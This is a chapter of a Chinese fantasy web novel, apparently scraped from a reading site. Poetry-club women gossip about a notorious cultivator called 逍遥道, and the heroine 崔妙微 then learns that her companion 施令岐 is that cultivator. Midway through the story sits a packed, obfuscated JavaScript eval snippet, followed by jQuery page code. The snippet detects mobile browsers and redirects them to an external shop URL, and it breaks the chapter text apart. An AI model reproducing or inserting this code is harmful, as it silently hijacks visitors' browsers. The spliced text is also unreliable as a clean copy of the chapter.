4. 第四章

作品:《和邪恶男修私奔了

    两人一路走过来,显然已经聊了一会了,骆初静现下正在说下个月诗会的事,“咱们常咏花鸟这些俗物,都写倦了,三月诗会,我想到玉虚观去办,只是阿娘向来不喜这些方士……”


    方士便是修士的代称,如今天子打压求仙之道,对方士之流也态度暧昧,时亲时远,昌平公主许是避嫌,在洛阳是出了名的不喜方士。


    赵贞向来趾高气昂,但对骆初静却很信服,她一路为骆初静打帘子,边打趣道:“若是旁人,公主恐怕不悦,可要是静娘,公主定不会说一个不好的。”


    骆初静似乎有些不好意思,亲昵地点了点赵贞的鼻子,“你就是嘴甜……说到这里,我还有件事要问你,奉珠的事,大家都知道,只有可能是逍遥道干的……”


    赵贞吓了一跳,骆初静话还未说完便被她打断了,“静娘,你怎么把……的名号随意宣之于口。”


    骆初静也反应过来,用帕子按了按唇,有些懊恼,“我不小心说出来了。”


    逍遥道是个灵力高强声名狼藉的邪修,这邪修一味采生却甚少需要静修,道术天赋堪称当代第一人,本该潜心修炼,成为正经修士,造福一方百姓,他却离经叛道不走正途。


    寻常修士通常只被允许学一到三种术法,天赋卓绝者可适当放宽,他却不知从何处习得令人咋舌的百种术法,其中大多是伤天害理为朝廷所不容的禁术,由此被认定为邪修。


    数年前方才显名,就引起正道忌惮,碍于抓不到他采生的证据,因而隐忍不发,他却毫不收敛,极其嚣张狂妄,对诸多方士不论正邪都主动挑衅,待到对方忍不住要与之斗法,其就借着‘师出有名’大肆灭杀,汲取灵力,强大自身。


    如此奸恶狡诈,肆意妄为,正邪不分杀人如麻,没多久就引发众怒,可都拿他毫无办法,慢慢便让正邪两道都闻风丧胆,各自剿了几次都吃了大亏。


    长安最德高望重的老道主动出头与他讲和,他却声称只愿意斗法,要签生死状,赢者生败者死,不愿意讲和。


    老道答应了,两人斗了一天一夜,他硬生生把那极负盛名有百年功力的老道斗得断臂求生,连夜逃出了长安。


    他年纪轻,不提一身高深的道术,灵力竟然也深厚到如此地步,众人皆猜他至少要采生千人才能积累这么多灵力,连老道都无法抗衡。


    后来他名声越来越显,甚至有采生一整个村子的流言传出,诸多方士联合状告到朝廷,事后也不知如何处理的,他依旧活跃到现在,众道皆是敢怒不敢言。


    他姓施,不知本名,又没有道号,行踪莫测,据传十分残酷暴戾,形容丑恶,时间久了,就被取了个逍遥道的诨名,暗讽他行事过于不羁只顾自己逍遥,他虽只在长安出没,但早已声名远扬,在洛阳也堪称家喻户晓,等闲人不敢提起。


    此次赵奉珠被偷魂的事,实在离奇,民间诸多猜测,除了五独之人克害的流言,流传最广的便是逍遥道所为。


    崔妙微暗自也有这样的怀疑,只是没有人愿意和她讲闲话,因此只憋在心中。


    施令岐一直旁听,闻言很轻地嗤笑了一声,“假的。”


    崔妙微不明所以,又恐引起骆初静二人主意,只能先按下不表。


    骆初静二人都有些心慌,好在这里虽偏僻,但也有香炉,二人各自给仙人上了香,看着香烟升起,似乎真的能传递给如今不知身在何处的仙人,这才安心,便把逍遥道揭过不谈了。


    骆初静用帕子擦了手,神情慢慢严肃起来,她看着赵贞,“你今日为何要非议排挤郡主?她不是那种暗中克害旁人的人,而且你知道的,我素来不喜你们拉帮结派欺负人的,这些日子你确实有些过分,奉珠以往总让我照顾你,她走了以后,我顾及你情绪不好,不愿意教训你,可你为何总是欺负郡主?明知道她是最好脾气不过了。”


    赵贞一怔,压着脾气擦了手,恼羞成怒道:“我没有!是郡主向你告状了?”


    骆初静无奈道:“怎么会?你就是性子太急了,谁敢告你的状?是我碰巧听到了,郡主还让我不要和你计较。”


    听到这里,崔妙微悄悄松了口气,她阻止不了骆初静教训赵贞,但起码这个赌她赢了。


    崔妙微不打算再偷听,立刻缩着身子往后退。


    赵贞却恼怒道:“郡主一定就是故意的,她就是爱装出一副善解人意的样子,好像全天下就她最善良了!说不计较,还不是让你来教训我,怪不得连裴二郎都受不了她,只和你亲近了!”


    崔妙微顿时停住了脚步。


    骆初静则脸色一变,飞快地皱了皱眉,又左右看了看,沉声道:“二娘,你先是非议郡主,现在又要讲我的闲话了吗?你明知道我与裴二郎只是因为奉珠的案子才走的近了一些!”


    赵贞自知失言,话说出口便后悔了,懊恼道:“静娘,我就是随口一讲,你不要生气才是,大家都可惜裴二郎那么好的家世品貌,却和郡主定了亲事,这才有些议论,我也是嘴快了……”


    骆初静却不再和颜悦色,语气严厉道:“潇湘诗社虽只是诗社,可文懿皇后曾说过,人的品德高于才华,只要不欺负人,我是向来不管诗社的人际关系的,但你这般非议人,日后若是人人效仿,女郎们都成了坏女孩,诗社的风气岂不全坏了?你今日一定要当众向郡主道歉才是,否则不怪我不讲情面,将你赶出诗社了!”


    赵贞似乎不知骆初静为何忽然如此严厉,红了眼眶,强撑着辩解起来,“是郡主先不守规矩坐到亭中来的,按照上次的惩罚,她的‘专座’该在庭院中才是……”


    说着,赵贞似乎伤心起来,“她害了我长姐,受些排挤又如何!她可是五独之人!”


    骆初静面无表情地看着她,“诗社的规矩你不知道吗?诗会开始之前的小叙,坐在哪都行,只有写诗的时候才一定要坐在专座上!奉珠的死官中都没有定论,你哪来的官威定了郡主的罪!”


    “郡主的品行你我心知肚明!你们往常欺负排挤,她向来不放在心上,怎么会因为专座的事就克害奉珠?”


    “还有你总把五独之人挂在嘴边,可你生来六指,诗社中却从来都没人放在嘴边讲,你但凡多想想,就知道自己有多过分!”


    六指被视为破相,赵贞忍不住蜷了蜷手指,又见骆初静分寸不让,赵贞想要辩解什么,最终也吞回了肚子里,她心中羞恼,眼中含泪,咬牙道:“社长教训的是,我会找机会向郡主道歉的。”


    骆初静却板着脸,“现在就去,当着众人的面,正好给最近新来的社员长个教训。”


    赵贞一下瞪大了眼睛,不可置信地看着骆初静。


    骆初静却毫不客气,扯着赵贞的袖子往廊中亭去。


    二人拉扯着走近了,崔妙微立刻蹲下身子,避开了二人的视线,等二人走出长廊,才慢慢站了起来。


    许是蹲久了,一时有些头晕目眩,崔妙微闭上眼睛,缓了许久才缓过来。


    其实施令岐最先和崔妙微打的赌,不是赌她能不能感化赵贞,而是赌她的未婚夫裴善道今日会不会来。


    裴善道出自河东裴氏,是户部侍郎裴衷的二子,自小就与崔妙微订了亲事,他每年年初起就会来洛阳读书,年末再回去,只要他身在洛阳,几乎日日都会来公主府与崔妙微见面,去年裴家要留他在长安做官,他却执意要来洛阳,裴家无法,为他谋了一个殿中侍御史的职位,有巡查两京之责,便于在两京间往返。


    以往崔妙微只要出门,裴善道必然陪伴左右,他生的俊美又性情温和,人缘极好,有他在,没有人敢明目张胆地排挤崔妙微。


    可今年走马上任以后,裴善道就总是忙的不见人影,崔妙微体贴他新官上任,从不烦扰。


    裴善道既是崔妙微的未婚夫,也称得上崔妙微唯一一个亲近的朋友了。


    施令岐不知有意无意,一开始便巧言挑拨,声称裴善道忙的不见人影不是为了公务,按照命运预言,他是有了别的喜欢的人。


    崔妙微自然不信,与施令岐打赌,裴善道会不会按照约定和崔妙微一起参加今日的诗会。


    裴善道从小到大都没对崔妙微食言过,这次也答应的好好的,昨日却忽然说公务繁忙来不了了,崔妙微遣人去他衙门里问,结果衙门说他今日休假。


    若是真有急事需要请假,裴善道为什么要对她撒谎呢?


    崔妙微就是因为这件事,才对施令岐的预言信了三分。


    施令岐一直抱臂旁听,此刻垂下眼帘,道:“裴善道和骆初静的关系很好吗?”


    崔妙微立刻回神,下意识解释道,“我们一齐青梅竹马长大的,裴二郎最近公务繁忙,赵奉珠的案子就是他在查,长姐会些武术,又与赵奉珠熟稔,也许知晓什么内情,能帮上他的忙,这才亲近了许多。”


    说罢,崔妙微迅速换了话题,“刚才长姐提到逍遥道害了赵奉珠的时候,你为什么说‘假的’。”


    崔妙微边说,也起身去给仙人上了柱香。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193439|197099||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    千年前灵气渐渐消散,仙人们互相争斗,照古籍记载,仙人们都打死了,但从古至今都没人相信是真的,大家都觉得仙人无所不能,不再出现只是飞升到了另一个世界。仙者,人之靠山也。从前会为了子民改天换地,如今也会在天上默默地照应着众人。


    时人对方士的追捧其实就是对求仙的追捧,对仙人的狂热,有任何忌讳的,只要给仙人上了香,心中便觉得安心,平民百姓家中可以没有锅碗瓢盆,但一定要有个开过光的香炉,权贵人家就更不提了,就像公主府,光是这个半山亭,香炉便随处可见,粗略一数便有十来个。


    施令岐知道她在逃避裴善道的事,没有回答她的问题,也没有逼问回去,反而道:“你声称自己从小就行善积德从不做坏事从不克任何人,心中从无恶念,为什么在这些排挤你的女郎眼中,你比逍遥道都可恨?”


    崔妙微本就对此敏感,最怕别人说她是坏人了,现在施令岐还说在女郎心中她比逍遥道都可恨,她立刻便放了香,凝眉道:“你还是觉得是我杀了赵奉珠?”


    崔妙微的态度第一次变得有些生硬,她尽量压抑着喉头的涩意,轻声道:“就因为我是五独之人,所以我就比那个声名狼藉的邪修都坏吗?道长宁可怀疑我,也不怀疑他?”


    崔妙微强忍着心中的压抑,不敢想旁人又是怎么想的,无比地后悔自己这几个月为什么不能多坚持一下,为什么要那么瘦弱,如果她没有生病,就能像以往无数次那样,只要忍一忍,按时参加诗会,就不会被人怀疑,进而卷入这样怎么也说不清的事情中了。


    施令岐对她的反应有些诧异,暂时没有说话,给了崔妙微一些时间冷静,等她的呼吸不再那么急促了,才缓缓道:“我只是想问问你,你既然都做的这么好了,她们为什么会讨厌你?”


    “比起因为五独命格的惧怕,她们显然过激了很多。赵贞甚至会为了一个没有根据的猜测就要陷害你,这难道不奇怪吗?”


    施令岐没觉得赵贞几人有谁害怕崔妙微的,不把她捏起来玩都不错了。


    如果崔妙微未来真的杀人,大概率也是憋疯了。


    崔妙微怔了怔,一时不知道该说什么,过了好一会声音才声音沙哑道:“对不起,是我想多了,我太敏感了……我也不明白,可能是我做的还不够好,让大家误会我了,刘二娘,就是那个附和赵贞的人,她出身普通,遭人排挤,去年她参加宴会时被人捉弄,差点摔倒,是我扶住了她,为此还扭伤了脚……”


    崔妙微低下头,轻声道:“至于赵贞,我也觉得有些奇怪,但想想也说得通,她误会我克害了赵奉珠,又无法接受赵奉珠骤然离世,只能怀疑到我身上,赵贞虽为人跋扈,谁都不看在眼里,就因为赵奉珠与长姐关系好,在诗社中就从不顶撞长姐。”


    崔妙微解释完了,施令岐却不再说话了,崔妙微不知道他有没有相信自己,忍不住问道:“那……你觉得是逍遥道做的吗?”


    施令岐在想潇湘诗社里的关系构成,闻言坦诚道:“不是。”


    崔妙微的睫毛颤了颤,“为什么?我哪里做的还不够好吗?大家都觉得是我,你也怀疑我,这么多年,我从来没有做过一点坏事,我……”


    崔妙微一时说不出话来,颓废地靠在柱子上。


    “你为什么总是喜欢把坏事把自己身上想?说不是逍遥道就是在怀疑你吗?”施令岐察觉到她的情绪,暂时把诗社的事放在一旁,平静道:“这和你没有任何关系。”


    怎么会没有关系?崔妙微想说你根本就不知道,身为一个五独之人,对这种事有多么的敏感,施令岐先前就质疑过她是否和赵奉珠的死有关系,可是到了这个声名狼藉的大邪修身上,他别说质疑了,竟然想都不想就说不是……


    难道一个从不作恶的五独之人,在人们心中都不如一个恶名在外的邪修吗?


    可她还没开口,施令岐便道:“因为我就是那个所谓的逍遥道。”


    “我没干。你说不是你,那你也没干。那么这件事在这个角度上和我们都没有任何关系。”


    崔妙微怔住了。


    施令岐没管她心中的波涛汹涌,让她打起精神来,接着说了几个诗社女郎的名字,让她详细讲讲这几个人的关系,分别和崔妙微有什么渊源,边道:“我就算怀疑你又能怎么样?你只是多了个善后的人。至于其他人的想法,这也是改变命运的一部分,未来我们会解决。现在,振作起来专注眼前的事。”